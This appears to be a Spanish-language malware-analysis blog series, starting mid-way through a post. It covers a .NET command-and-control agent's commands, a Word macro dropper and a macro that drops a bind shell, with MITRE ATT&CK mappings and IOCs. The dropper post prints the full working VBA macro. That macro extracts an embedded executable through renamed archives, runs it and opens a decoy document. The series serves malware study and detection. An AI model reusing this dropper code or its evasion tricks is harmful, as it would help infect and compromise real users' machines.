Al recibir el comando “flyTes” junto con una ruta, el comando lista los archivos de la ruta utilizando el método Directory.GetFiles, los concatena utilizando el caracter ‘>’ como separador y los envía al servidor:

Sacar capturas de pantalla

Los comandos “cdyTcrgn”, “csyTcrgn” y “csyTdcrgn” pueden ser utilizados para sacar capturas de pantalla y enviarlas al servidor:

Exfiltración de archivos

El comando “afyTile” puede ser utilizado para exfiltrar un archivo de la máquina víctima al servidor; para ello, recibe como parámetro la ruta del archivo a exfiltrar:

La información devuelta al servidor incluye la ruta del archivo, el nombre del archivo y el contenido de este.

Ejecutar binarios

Para ejecutar un programa que exista en el sistema (sea nativo o descargado con otro comando), se utiliza el comando “ruyTnf”, el cual inicia un nuevo proceso recibiendo como parámetro el nombre del programa a ejecutar.

if (text == "ruyTnf") {
 ..
 Process.Start(procss_type[1].Split(new char[] { '>' })[0]);
 } catch {
 }
}

Eliminar un archivo

El comando “deyTlt” recibe como parámetro la ruta donde está almacenado un archivo, para posteriormente utilizar el método File.Delete para eliminarlo:

if (text == "deyTlt") {
 this.trasQfiles(procss_type[1]);
}

public void trasQfiles(string path) {
 try {
 File.Delete(path);
 } catch {
 }
}

Conclusiones

Cuando comencé a escribir este artículo creí que sería la parte final del análisis; sin embargo, luego de identificar la cantidad de funciones que el agente exponía, preferí entrar a detalle en algunas y dejar el análisis dinámico para el siguiente artículo.

El malware analizado tiene todas las características de un agente de Comando y Control: se contacta con el servidor cada cierto tiempo, permite obtener información del sistema, permite exfiltrar información, permite descargar binarios al sistema y ejecutarlos, entre otras funciones.

El malware utiliza un par de técnicas para evalidar herramientas de análisis de código estático: uso de subguiones para alterar nombres de variables/llaves de registro, así como el uso de un arreglo de bytes para almacenar una IP en vez de almacenarla en plano; aún así, el que haya sido desarrollado en .NET permite su fácil decompilación y análisis.

En el próximo artículo detallaré como alguien puede interactuar con el malware como parte de su análisis, y así evidenciar si tiene alǵun comportamiento no identificado como parte del análisis estático.

Mapeo MITRE ATT&CK

ID	Táctica	Técnica	Descripción
T1059.003	Ejecución	Command and Scripting Interpreter: Windows Command Shell	Se utilizó el método Process.Start para iniciar nuevos procesos
T1547.001	Persistencia	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Se utilizó una llave de registro para establecer persistencia
T1070.004	Evasión de defensas	Indicator Removal: File Deletion	El agente tiene la capacidad de eliminar archivos
T1057	Descubrimiento	Process Discovery	El agente tiene la capacidad de listar procesos
T1082	Descubrimiento	System Information Discovery	El agente tiene la capacidad de obtener información del sistema
T1027.010	Evasión de defensas	Obfuscated Files or Information: Command Obfuscation	Se utilizó el reemplazo de caracteres para ofuscar comandos
T1113	Colección	Screen Capture	El agente tiene la capacidad de sacar capturas de pantalla
T1005	Colección	Data from Local System	El agente tiene la capacidad de obtener información de archivos del sistema
T1571	Comando y Control	Non-Standard Port	El agente no utiliza puertos comunes para comunicarse con el servidor de C2
T1095	Comando y Control	Non-Application Layer Protocol	El agente se comunica mediante TCP, interactuando directo con el flujo de datos
T1041	Comando y Control	Exfiltration Over C2 Channel	El agente exfiltra información utilizando la conexión establecida con el servidor de C2

IOC

IOC	Tipo	Descripción
59211a4e0f27d70 c659636746b61945a	Hash MD5	Hash del agente de C2
162.245.191.217	IP	IP a donde se comunica el agente
HKEY_CURRENT_USER\ Software\Microsoft \Windows\CurrentVersion\ Run\haijwivetsgVr	Llave de registro	Llave que el agente utiliza para establecer persistencia

003 - Analizando un agente de C2 - Parte 1: el Dropper

Sun, 10 Dec 2023 22:29:12 -0500

Introducción

En esta ocasión decidí analizar un agente de comando y control (C2), revisando la forma en cómo llega a sus víctimas y qué técnicas utiliza para evadir defensas y dificultar el análisis. Dado que el post completo sería muy largo, lo he dividido en dos partes: la primera parte se centrará en el análisis de la macro que actúa como dropper, mientras que la segunda parte se centrará en el análisis del payload (agente de C2).

El dropper elegido tiene como hash 22ce9042f6f78202c6c346cef1b6e532 y puede ser descargado del siguiente enlace.

Disclaimer: Ejecutar malware en un dispositivo personal/corporativo puede poner en riesgo tu información/la información de tu empresa. Nunca ejecutes malware en un dispositivo que no ha sido específicamente configurado para el análisis.

Macros de Office: la técnica que no parece tener fin

Antes de iniciar con el análisis, quería ahondar un poco en qué son las macros y por qué son usualmente abusadas por atacantes.

Las macros son secuencias de comandos que nos permiten automatizar tareas en programas de Microsoft Office; pueden ser utilizadas para formatear texto, ejecutar cálculos, etc. Las macros cuentan con los mismos privilegios que el programa donde se están ejecutando, por lo que tienen acceso completo al equipo bajo el contexto del usuario que ejecutó el programa de Office.

Las macros son de especial interés para los atacantes debido a las siguientes razones:

Les permite incrustar código en documentos legítimos, por lo que no tienen que convencer al usuario de descargar un programa.
La mayoría de usuarios está acostumbrado a utilizar programas de Office, y pueden recibir usualmente ese tipo de archivos por correo (especialmente en empresas).
Puede que los sistemas de antispam de la empresa de su víctima bloquee los archivos con extensión .exe; sin embargo, probablemente permiten archivos de Office.
La suite de Microsoft Office está ampliamente difundida, lo que aumenta la probabilidad de que el malware pueda ser ejecutado por su víctima.
Pueden ser utilizadas tanto en Windows como en MacOS.

El uso de Visual Basic para ejecutar comandos maliciosos es tan común que tiene una subtécnica de MITRE ATT&CK asociada: T1059.005, en la página de MITRE se puede encontrar mayor información sobre cómo ha sido utilizada esa técnica en otras campañas de distribución de malware.

Microsoft ha empezado a bloquear la ejecución de macros descargadas de internet en versiones recientes de Microsoft Office; sin embargo, aún muchas empresas y usuarios utilizan versiones desactualizadas, lo que permite que la técnica siga siendo ampliamente utilizada.

Análisis estático del archivo

Iniciamos el análisis obteniendo el hash del documento de Word malicioso:

Algoritmo	Hash
MD5	22CE9042F6F78202C6C346CEF1B6E532
SHA256	E38C39E302DE158D22E8D0BA9CD6CC93 68817BC611418A5777D00B90A9341404

Luego, iniciamos el análisis con olevba utilizando el parámetro -a para ver el análisis que ofrece la herramienta:

Vemos que olevba nos advierte que se ejecuta la función Document_Open automáticamente cuando se abre el archivo (comportamiento típico de macros maliciosas, que evitan requerir interacción del usuario); adicionalmente, vemos ciertas cadenas de texto que olevba considera sospechosas:

String	Descripción
Environ	Se utiliza para leer variables de entorno
Open	Se utiliza para abrir archivos
CopyFile	Se utiliza para copiar archivos
MkDir	Se utiliza para crear directorios
Shell	Puede ser utilizada para ejecutar comandos en el sistema

En este caso, a diferencia del artículo anterior, olevba no detecta posibles indicadores de compromiso (IOC).

Seguimos con el análisis utilizando el parámetro -c para visualizar las macros:

Al visualizar las macros, podemos evidenciar algunas técnicas que el atacante usó para dificultar el análisis y evadir defensas:

No se utilizan nombres de funciones ni variables fáciles de entender, lo que dificulta el análisis manual.
Se utiliza el método Replace para retirar, durante la ejecución de la macro, caracteres utilizados para engañar sistemas de identificación de patrones.

La segunda técnica es de especial interés, ya que puede engañar a programas que busquen patrones para identificar cadenas potencialmente sospechosas (URLs, IPs, extensiones, nombres de archivos, etc). Por ejemplo, se puede utilizar la siguiente expresión regular para buscar cadenas de texto que terminen en .zip o .exe:

\.(zip|exe)$

En la macro, se visualiza la cadena “do_mc_xs.zi_p”, la cual no es detectada por la expresión regular; sin embargo, durante la ejecución se renombra a “domcxs.zip” para su posterior procesamiento.

Dado que la función tiene varias filas, y es dificil de entender con nombres de variable poco amigables, la exportamos a un archivo para “limpiarla” un poco:

olevba.exe -c .\e38c39e302de158d22e8d0ba9cd6cc9368817bc611418a5777d00b90a9341404.docm > macros.vba

Una vez exportada, identificamos que Document_Open() llama a la función “weoqzisdi___lorfar()”:

Dado que no vemos que ninguna de las otras funciones contenga código, extraemos la función weoqzisdi___lorfar() para su análisis:

Sub weoqzisdi___lorfar()
 
 Dim path_weoqzisdi___file As String
 
 Dim file_weoqzisdi___name As String
 
 Dim folder_weoqzisdi___name As Variant
 Dim oAzedpp As Object
 
 Set oAzedpp = CreateObject("Shell.Application")
 
 file_weoqzisdi___name = "vteijam hdgtra"
 
 folder_weoqzisdi___name = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
 
 If Dir(folder_weoqzisdi___name, vbDirectory) = "" Then
 MkDir (folder_weoqzisdi___name)
 End If
 
 path_weoqzisdi___file = folder_weoqzisdi___name & file_weoqzisdi___name
 
 Dim FSEDEO As Object
 Set FSEDEO = CreateObject("Scripting.FileSystemObject")
 
 FSEDEO.CopyFile Application.ActiveDocument.FullName, folder_weoqzisdi___name & Replace("do_mc_xs", "_", ""), TRUE
 Set FSEDEO = Nothing
 
 Name folder_weoqzisdi___name & Replace("do_mc_xs", "_", "") As folder_weoqzisdi___name & Replace("do_mc_xs.zi_p", "_", "")
 
 oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name & Replace("do_mc_xs.zi_p", "_", "")).items
 
 Dim poueeds As Integer
 Dim filewedum As String
 
 poueeds = InStr(Application.System.Version, ".1")
 
 filewedum = 2
 
 If poueeds Then
 filewedum = 1
 End If
 
 Name folder_weoqzisdi___name & "word\embeddings\oleObject1.bin" As folder_weoqzisdi___name & "word\" & file_weoqzisdi___name & Replace(".z_ip", "_", "")
 
 oAzedpp.Namespace(folder_weoqzisdi___name).CopyHere oAzedpp.Namespace(folder_weoqzisdi___name & "word\" & file_weoqzisdi___name & Replace(".z_ip", "_", "")).items
 
 Name folder_weoqzisdi___name & "oleObject" & filewedum & ".bin" As folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", "")
 
 Shell folder_weoqzisdi___name & file_weoqzisdi___name & Replace(".e_xe", "_", ""), vbNormalNoFocus
 
 Dim dokc_paeth As String
 
 dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
 
 If Dir(dokc_paeth) = "" Then
 Name folder_weoqzisdi___name & "word\embeddings\oleObject3.bin" As dokc_paeth
 End If
 
 Documents.Open FileName:=dokc_paeth, ConfirmConversions:=False, _
 ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
 PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
 WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
 
End Sub

Luego de eliminar las lineas extra, así como arreglar la identación, procedemos a renombrar las variables para hacerlas mas amigables:

En este caso, tenemos suerte de que algunas de las variables mantienen su nombre original antes de concatenarse con otros caracteres, por lo que nos permite identificar fácilmente para qué son utilizadas. De no tener esa información, podemos deducir su función en base a cómo están siendo utilizadas.

Luego de cambiar el nombre a las variables largas, podemos empezar a avanzar fila por fila analizando lo que parece estar haciendo:

Sub weoqzisdi___lorfar()
 
 Dim mpath As String
 Dim mfile As String
 Dim mfolder As Variant
 Dim mShellApplication As Object
 
 'Crea objeto Shell.Application
 Set mShellApplication = CreateObject("Shell.Application")
 
 'Asigna la cadena de texto "vteijam hdgtra" a variable mfile
 mfile = "vteijam hdgtra"
 
 'Asigna la ruta de la variable de entorno "USERPROFILE" concatenada con
 '\Wrdix concatenada con el segundo en el que se ejecutó la función y concatenada con "\"
 'Por ejemplo: C:\Users\tmn\Wrdix12\
 mfolder = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
 
 'Verifica si el directorio existe y sino, lo crea
 If Dir(mfolder, vbDirectory) = "" Then
 MkDir (mfolder)
 End If
 
 'Asigna a la variable mpath la ruta + nombre del archivo (C:\Users\tmn\Wrdix12\vteijam hdgtra)
 mpath = mfolder & mfile
 
 Dim FSEDEO As Object
 Set FSEDEO = CreateObject("Scripting.FileSystemObject")
 
 'Se utiliza el método CopyFile, cuya sintaxis es object.CopyFile source, destination, [ overwrite ]
 'Se copia el archivo que se está ejecutando en la ruta almacenada en la variable mfolder, siendo renombrado a domcxs
 'Para ello, se utilizó la función "Replace" para quitar los subguiones a la cadena "do_mc_xs"
 'https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/copyfile-method
 'https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/replace-function
 FSEDEO.CopyFile Application.ActiveDocument.FullName, mfolder & Replace("do_mc_xs", "_", ""), TRUE
 Set FSEDEO = Nothing
 
 'Utilizando la función "Name", se cambia el nombre del archivo previamente copiado a domcxs.zip
 'La sintaxis es Name antiguoNombre As nuevoNombre
 'Se renombra mfolder\domcxs a mfolder\domcxs.zip
 'https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/name-statement
 Name mfolder & Replace("do_mc_xs", "_", "") As mfolder & Replace("do_mc_xs.zi_p", "_", "")
 
 'Extrae el archivo domcxs.zip a la ruta de mfolder
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & Replace("do_mc_xs.zi_p", "_", "")).items
 
 Dim poueeds As Integer
 Dim filewedum As String
 
 'Se valida si la versión de Word contiene ".1" y, dependiendo de eso, se asigna el valor a la variable filewedum
 poueeds = InStr(Application.System.Version, ".1")
 filewedum = 2
 If poueeds Then
 filewedum = 1
 End If
 
 'Se renombra el archivo mfolder\word\embeddings\oleObject1.bin a "mfoldder\word\vteijam hdgtra.zip"
 'El contenido de la variable mfile (vteijam hdgtra) fue asignado al inicio de la función
 Name mfolder & "word\embeddings\oleObject1.bin" As mfolder & "word\" & mfile & Replace(".z_ip", "_", "")
 
 'Extrae el contenido de "mfoldder\word\vteijam hdgtra.zip" en la ruta de mfolder
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & "word\" & mfile & Replace(".z_ip", "_", "")).items
 
 'Se renombra mfolder\oleObjectfilewedum.bin como mfolder\mfile.exe
 Name mfolder & "oleObject" & filewedum & ".bin" As mfolder & mfile & Replace(".e_xe", "_", "")
 
 'Se ejecuta el comando mfolder\mfile.exe sin cambiar la vista al nuevo proceso
 Shell mfolder & mfile & Replace(".e_xe", "_", ""), vbNormalNoFocus
 
 'Se guarda el archivo mfolder\word\embeddings\oleObject3.bin como C:\users\usuario\Documents\nombreDocumentoMalicioso.docx
 Dim dokc_paeth As String
 
 dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
 
 If Dir(dokc_paeth) = "" Then
 Name mfolder & "word\embeddings\oleObject3.bin" As dokc_paeth
 End If
 
 'Se abre el archivo .docx recientemente creado
 
 Documents.Open FileName
 = dokc_paeth, ConfirmConversions
 = False, _
 ReadOnly
 = False, AddToRecentFiles
 = False, PasswordDocument
 = "", _
 PasswordTemplate
 = "", Revert
 = False, WritePasswordDocument
 = "", _
 WritePasswordTemplate
 = "", Format
 = wdOpenFormatAuto, XMLTransform
 = ""
 
End Sub

En base al análisis, parece que al abrirse el documento realiza las siguientes acciones:

Se copia el documento malicioso a una ruta dentro del perfil del usuario
Se cambia de nombre al documento y se le añade la extensión .zip
Se extrae el .zip
Se extrae un archivo .bin de los archivos previamente extraidos, se le cambia la extension a .zip
Se extrae el contenido del .zip, el cual contiene otro archivo .bin
Se cambia la extensión del nuevo archivo .bin a .exe
Se ejecuta el .exe en segundo plano
Se extrae otro archivo del documento original (archivos obtenidos en el paso 3) y se copia en la carpeta “Documentos” del usuario con extensión .docx
Se abre el archivo .docx

Como parte del análisis vemos otra manera que utilizan los atacantes para evadir defensas: el binario malicioso (.exe) estuvo almacenado dentro de 2 archivos comprimidos, cada uno con extensión .bin. Si un antivirus buscara la firma del .exe no lo encontraría debido a que está comprimido; de igual manera, si se basase en el tipo de extensión para determinar el tipo de archivo, puede que no detecte los .bin como archivos comprimidos.

Ahora que ya tenemos una idea de qué está haciendo el documento malicioso, procedemos a ejecutarlo de manera controlada para verificar si el análisis fue el correcto.

Análisis dinámico del archivo

Antes de iniciar el análisis dinámico procedemos a abrir Procmon y Process Explorer, ya que sabemos que la macro interactúa con carpetas e inicia nuevos procesos.

Al intentar abrir el editor de Visual Basic (antes de hacer click en “Habilitar contenido”), nos percatamos que tiene contraseña:

Si bien el editor de Visual Basic no nos deja acceder al contenido sin tener la contraseña, ya pudimos visualizar las macros previamente por medio de olevba, lo que nos dice que Microsoft Office no almacena las macros cifradas en reposo, por lo que ponerles contraseña no es un control efectivo si lo que se busca es que no sean analizadas.

En este caso tenemos dos opciones:

Ejecutar el código VBA desde un archivo diferente (ya que lo obtuvimos previamente con olevba)
Evadir la restricción en el archivo original

En esta ocasión opté por la segunda opción (el cómo escapa del alcance del presente artículo, pero una rápida búsqueda en internet debe bastar).

Una vez se tiene la macro abierta, podemos usar la tecla F8 para avanzar instrucción por instrucción. Podemos usar la ventana “Locales” para ver la asignación de contenido en las variables conforme se van ejecutando las instrucciones:

La primera operación de interés que esperamos es la creación de una carpeta llamada Wrdix+número en la ruta del usuario (en este caso C:\users\tmn)

 mfolder = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
 
 If Dir(mfolder, vbDirectory) = "" Then
 MkDir (mfolder)
 End If

Podemos comprobar que efectivamente se creó el directorio tanto inspeccionado la carpeta como por medio de Procmon:

La siguiente operación que esperamos es que se copie el documento a la carpeta creada, que se le asigne el nombre domcxs.zip y que sea extraido:

 FSEDEO.CopyFile Application.ActiveDocument.FullName, mfolder & Replace("do_mc_xs", "_", ""), True
 Name mfolder & Replace("do_mc_xs", "_", "") As mfolder & Replace("do_mc_xs.zi_p", "_", "")
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & Replace("do_mc_xs.zi_p", "_", "")).items

Luego, esperamos que se cambie el nombre del archivo word\embeddings\oleObject1.bin a “vteijam hdgtra.zip”, que se extraiga y se cambie el nombre del archivo extraido a “vteijam hdgtra.exe”

 'Se renombra el archivo mfolder\word\embeddings\oleObject1.bin a "mfoldder\word\vteijam hdgtra.zip"
 Name mfolder & "word\embeddings\oleObject1.bin" As mfolder & "word\" & mfile & Replace(".z_ip", "_", "")

 'Extrae el contenido de "mfoldder\word\vteijam hdgtra.zip" en la ruta de mfolder
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & "word\" & mfile & Replace(".z_ip", "_", "")).items
 
 'Se renombra mfolder\filewedum.bin como mfolder\mfile.exe
 Name mfolder & "oleObject" & filewedum & ".bin" As mfolder & mfile & Replace(".e_xe", "_", "")

Finalmente, se ejecuta el binario “vteijam hdgtra.exe”:

Podemos validar la creación de un nuevo proceso en Process Explorer y Procmon:

Si bien ya se inició el programa embebido en el documento de Word, queda una tarea pendiente al atacante para no levantar sospechas:

 'Se guarda el archivo mfolder\word\embeddings\oleObject3.bin como C:\users\usuario\Documents\nombreDocumentoMalicioso.docx
 Dim dokc_paeth As String
 
 dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
 
 If Dir(dokc_paeth) = "" Then
 Name mfolder & "word\embeddings\oleObject3.bin" As dokc_paeth
 End If
 
 'Se ejecuta el archivo recientemente creado
 
 Documents.Open FileName
 = dokc_paeth, ConfirmConversions
 = False, _
 ReadOnly
 = False, AddToRecentFiles
 = False, PasswordDocument
 = "", _
 PasswordTemplate
 = "", Revert
 = False, WritePasswordDocument
 = "", _
 WritePasswordTemplate
 = "", Format
 = wdOpenFormatAuto, XMLTransform
 = ""

Al crear y abrir el nuevo archivo, a la víctima se le muestra el documento de Word que espera.

Finalmente, validamos en Procmon que la segunda etapa empezó a realizar acciones:

El payload malicioso corresponde a un agente de C2, cuyo análisis exploraremos en la segunda parte del post.

Conclusiones

Como pudimos ver en el análisis, el explorar cómo funciona un dropper nos permite comprender las distintas técnicas que un atacante puede seguir para evitar que el malware que desarrollan sea identificado: sea ponerle contraseña a las macros, ofuscar (aunque levemente) los nombres de variables y funciones, o embeber los payloads maliciosos bajo múltiples capas y renombres, todo tiene como fin dificultar el análisis manual y la rápida identificación por parte de herramientas automatizadas que se basan en firmas y patrones conocidos.

Aún así, el comportamiento que realiza el documento (crear una carpeta, extraer archivos, ejecutar un .exe) no es estándar para un documento normal, por lo que aún hay posibilidades de detección analizando lo que hace el archivo al ser ejecutado.

Como parte de este análisis, pudimos identificar distintos indicadores de compromiso: archivos con un nombre estático, hashes de los distintos archivos comprimidos y ejecutables, así como carpetas creadas. Los IOC identificados se detallan en la sección 7.

El payload malicioso corresponde a un agente que se comunica con un servidor de Comando y Control, en la segunda parte del post exploraremos cómo funciona el agente, las acciones que realiza y cómo podemos obtener posibles indicadores de compromiso de este.

Mapeo MITRE ATT&CK

ID	Táctica	Técnica	Descripción
T1027.009	Evasión de defensas	Obfuscated Files or Information: Embedded Payloads	Se embebieron payloads maliciosos dentro del documento
T1027.010	Evasión de defensas	Obfuscated Files or Information: Command Obfuscation	Se utilizó el reemplazo de caracteres para ofuscar comandos
T1036.008	Evasión de defensas	Masquerade File Type	Se cambió la extensión de los archivos ejecutables a .bin
T1204.002	Ejecución	User Execution: Malicious File	Requiere que el usuario ejecute un archivo malicioso
T1059.005	Ejecución	Command and Scripting Interpreter: Visual Basic	Se utilizó VBA para la ejecución de comandos

IOC

IOC	Tipo	Descripción
22ce9042f6f78 202c6c346cef1b6e532	Hash MD5	.docm malicioso
e31ac765d1e97 698bc1efe443325e497	Hash MD5	Comprimido malicioso (oleObject1.bin)
59211a4e0f27d 70c659636746b61945a	Hash MD5	Payload malicioso 1
1d493e326d91c 53e0f2f4320fb689d5f	Hash MD5	Payload malicioso 2
efed06b2fd437 d6008a10d470e2c519f	Hash MD5	.docx falso (decoy)
vteijam hdgtra.exe	Nombre	Ejecutable malicioso
C:\users\[^\]+\Wrdix\d+$	Ruta	Ruta de archivo malicioso (C:\users\USUARIO\WrdixNUM)

002 - Analizando una macro maliciosa

Wed, 06 Dec 2023 12:08:00 -0500

Introducción

Para este primer post (segundo si contamos la intro) decidí analizar una macro maliciosa por las siguientes razones:

Las macros nos permiten analizar el código que contienen, lo que consideré sería bueno para comenzar, en oposición a entrar directo al análisis de un binario.
Las macros son frecuentemente utilizadas como “Droppers” para cargar otros malware en un sistema.
Las macros son frecuentemente abusadas en ataques de ingeniería social, debido a que muchas personas están acostumbradas a abrir archivos de Office.

El malware elegido para el análisis tiene como hash 97806d455842e36b67fdd2a763f97281 y puede ser descargado del siguiente enlace.

Disclaimer: Ejecutar malware en un dispositivo personal/corporativo puede poner en riesgo tu información/la información de tu empresa. Nunca ejecutes malware en un dispositivo que no ha sido específicamente configurado para el análisis.

Análisis estático

Obtención de los hashes

Una vez descargado y extraído el .zip, nos encontramos con un archivo .docm (archivo de Microsoft Word habilitado para macros), el cual cuenta con los siguientes hashes:

Algoritmo	Hash
MD5	97806d455842e36b67fdd2a763f97281
SHA256	ab518a86b77fe842821b50d182b9394d 2a59d1c64183a37eb70a6cac100b39f8

Análisis del archivo con olevba

Iniciamos el análisis con olevba, programa que nos permite detectar y extraer información de macros sin tener que abrir los archivos (y potencialmente infectarnos).

Utilizando el parámetro -a podemos hacer un análisis inicial del archivo:

olevba.exe -a .\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm

Como parte del análisis vemos que olevba identifica algunas cadenas de texto sospechosas, dentro de las cuales son de principal interés las siguientes:

AutoOpen: función que se ejecuta al abrir el archivo, sin requerir interacción del usuario (fuera de habilitar las macros de estar deshabilitadas).
WScript.Shell: objeto que permite ejecutar un comando en el sistema.
libc.dylib y system: palabras que podrían estar relacionadas a la ejecución de comandos en sistemas MacOS.

Adicionalmente, verificamos que olevba detecta algunas URL como posibles IOC; será de interés analizar para qué están siendo utilizadas las URL, pues pueden ser utilizadas para almacenar binarios maliciosos, como servidor de comando y control, o ser un falso positivo.

Utilizando el parámetro -c podemos obtener el código VBA, donde visualizamos múltiples funciones:

olevba.exe -c .\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm

AutoOpen(): función que se ejecuta al abrir el archivo.
ExecuteForWindows(code) y ExecuteForOSX(code): funciones que por el nombre parecen ejecutar código en base al sistema operativo.
Base64Decode(ByVal base64String): función que por el nombre parece decodificar un texto de Base64.

Analizando la función AutoOpen(), verificamos que al abrir el archivo .docm se itera por sus propiedades buscando la propiedad “Comments”, extrae un valor de esa propiedad, obtiene parte de ese valor, lo decodifica utilizando la función Base64Decode(ByVal base64String) y se pasa como parámetro a las funciones ExecuteForWindows(code)/ExecuteForOSX(code), dependiendo del sistema operativo en el que se está ejecutando:

Al ver las propiedades del archivo, en una primera vista no se visualiza ningún comentario; sin embargo, al hacerle doble click a la propiedad podemos visualizar el contenido:

Si quisiesemos extraer el comentario de manera programática, podemos usar powershell:

#Asignamos el archivo a una variable
$file = "C:\Analisis\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm"

#Creamos el objeto Shell.Application para poder acceder a las propiedades del archivo
$shell = New-Object -ComObject Shell.Application

#Obtenemos una referencia al archivo mediante el objeto previamente creado
$item = $shell.Namespace((Get-Item $file).DirectoryName).ParseName((Get-Item $file).Name)

#Obtenemos la propiedad "Comment"
$comments = $item.ExtendedProperty("System.Comment")

#Guardamos el contenido de la propiedad en un archivo de texto
$comments > comments.txt

Una vez identificado el input, procedemos a analizar la función que está haciendo el decodificado; dentro de la función, se visualiza un comentario asociado a Motobit, así como las URL que olevba identificó como IOC:

Al no estar siendo utilizadas las URL, las descartamos como falsos positivos (debido a que hay otros programas que pueden contener dichas URL sin ser maliciosos necesariamente); al buscar el texto de los comentarios en Google identificamos el código de donde provino esa función.

Finalmente, analizamos las funciones a donde se pasa el texto obtenido de la propiedad “Comments” luego de ser decodificado:

El caso de MacOS es sencillo: se pasa el texto al intérprete de Python para ser ejecutado; por el contrario, el de Windows si tiene mayor procesamiento que resulta interesante:

Se asigna la variable tmp_folder a la ruta almacenada en la variable de entorno TMP

Se crea un archivo con un nombre aleatorio (tmp_name) en dicha ruta, y se le asigna la extensión .exe
Se ejecuta el archivo utilizando el objeto WScript.Shell

Análisis dinámico

Ejecución controlada de la macro

Ahora que ya tenemos mayor detalle de lo que realiza la macro, podemos comprobar si el análisis fue el correcto al ejecutarla de manera controlada.

Al abrir el archivo, vemos que tiene un mensaje indicando que el documento fue creado por una versión mas reciente de Microsoft Office, y que las macros deben ser habilitadas para poder visualizarlo; dicho mensaje es falso, y tiene como objetivo engañar al usuario para que habilite las macros y así, gatillar el código dentro de la función AutoOpen().

Antes de hacer click en “Habilitar contenido” presionamos ALT+F11 para abrir el editor de Visual Basic, donde verificamos que están las mismas funciones que identificamos con olevba:

Como vimos al analizar las funciones con olevba, se extrae el contenido de la propiedad “Comments” y se decodifica utilizando la función Base64Decode(); podemos obtener el archivo decodificado editando la función AutoOpen() y utilizando el siguiente código:

Dim n As Integer
n = FreeFile()
Open "C:\analisis\orig_val.txt" For Output As #n
Print #n, orig_val
Close #n

Para evitar que el programa se ejecute, podemos comentar las llamadas a ExecuteForOSX(code) y ExecuteForWindows(code):

Analizando el archivo extraido con la herramienta PEStudio, verificamos que es un ejecutable (también se podría validar la cabecera del archivo, o utilizar el comando file de UNIX):

Otra manera de obtener el binario (así como la ruta desde donde se ejecutará) es imprimiendo la variable tmp_name de la función ExecuteForWindows(code) y comentando la llamada a (“WScript.Shell”).Run para evitar ejecutar el binario:

Análisis del binario obtenido

Antes de continuar con el análisis dinámico, analizaremos brevemente de manera estática el binario que ejecuta la macro.

Primero, obtenemos el hash:

Algoritmo	Hash
MD5	22C65826A225917645DBA4BF7CD019DE
SHA256	21FE58C62243FCB030B1627233C77BDE7319F7E932F4F581B8F1DB49AA4C4F99

Buscando el hash en VirusTotal, verificamos que ya se tienen firmas por la mayoría de antivirus.

Abriendo el binario en PEStudio encontramos algunas cadenas de interés:

El binario parece estar suplantando a ApacheBench. Adicionalmente, verificamos que contiene una cadena que hace referencia a “C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb” en la propiedad debug; al buscar esa cadena en internet se encuentran referencias a shellcodes creados con Metasploit.

Ejecución del binario

Dado que el objetivo de este artículo era analizar una macro maliciosa, no entraré a detalle en cómo analizar estáticamente el .exe obtenido (sería interesante en un futuro artículo analizar estáticamente dicho binario); sin embargo, si me pareció importante destacar algunos hallazgos identificados al analizar el binario de manera dinámica.

Para iniciar, abrimos Procmon, Process Explorer y TCPView, herramientas de la suite SysInternals. En Procmon, creamos un filtro con el nombre del ejecutable (en este caso renombrado a sample.exe) y ejecutamos el archivo.

Al ejecutar el archivo validamos que simula ser ApacheBench, incluso teniendo como publicador a “Apache Software Foundation”:

Analizando Procmon vemos varias acciones sobre el registro, carpetas y procesos; sin embargo, de especial interés es que vemos en TCPView que el proceso empezó a recibir conexiones en el puerto 80:

Al ver el puerto abierto, y recordar que como parte del análisis había visto referencias a shellcodes de Metasploit me pregunté… ¿realmente podría ser tan sencillo? ¿Será una bind shell esperando conexiones?

Para validar, desde otra máquina conectada a la misma red (ambas en una red propia, sin conexión con otros sistemas ni internet), utilicé netcat para conectarme al puerto 80 y…funcionó!

Efectivamente, en Process Explorer podemos verificar que el proceso sample.exe inició un subproceso cmd.exe

Y, al intentar crear un archivo, validamos que tenemos éxito:

Conclusiones

Cuando elegí la muestra de malware, no sabía con qué me encontraría; había la posibilidad de que la macro contenga código ofuscado, que llame a powershell, o que descargue una segunda etapa de un servidor ya extinto. Afortunadamente no fue el caso y contuvo la segunda etapa ya embebida como parte del código, lo que me permitió llegar a un mayor nivel de análisis.

¡Tampoco me imagine que me encontraría con un bind shell al cual pudiese conectarme que no estuviese usando ningún tipo de encriptación! No se si fue suerte o qué, pero hizo el análisis mucho mas interesante.

¡Nos vemos pronto para analizar un nuevo malware!

IOC

Archivo	Algoritmo	Hash
macro.docm	MD5	97806d455842e36b67fdd2a763f97281
macro.docm	SHA256	ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8
shell.exe	MD5	22C65826A225917645DBA4BF7CD019DE
shell.exe	SHA256	21FE58C62243FCB030B1627233C77BDE7319F7E932F4F581B8F1DB49AA4C4F99

001 - Intro

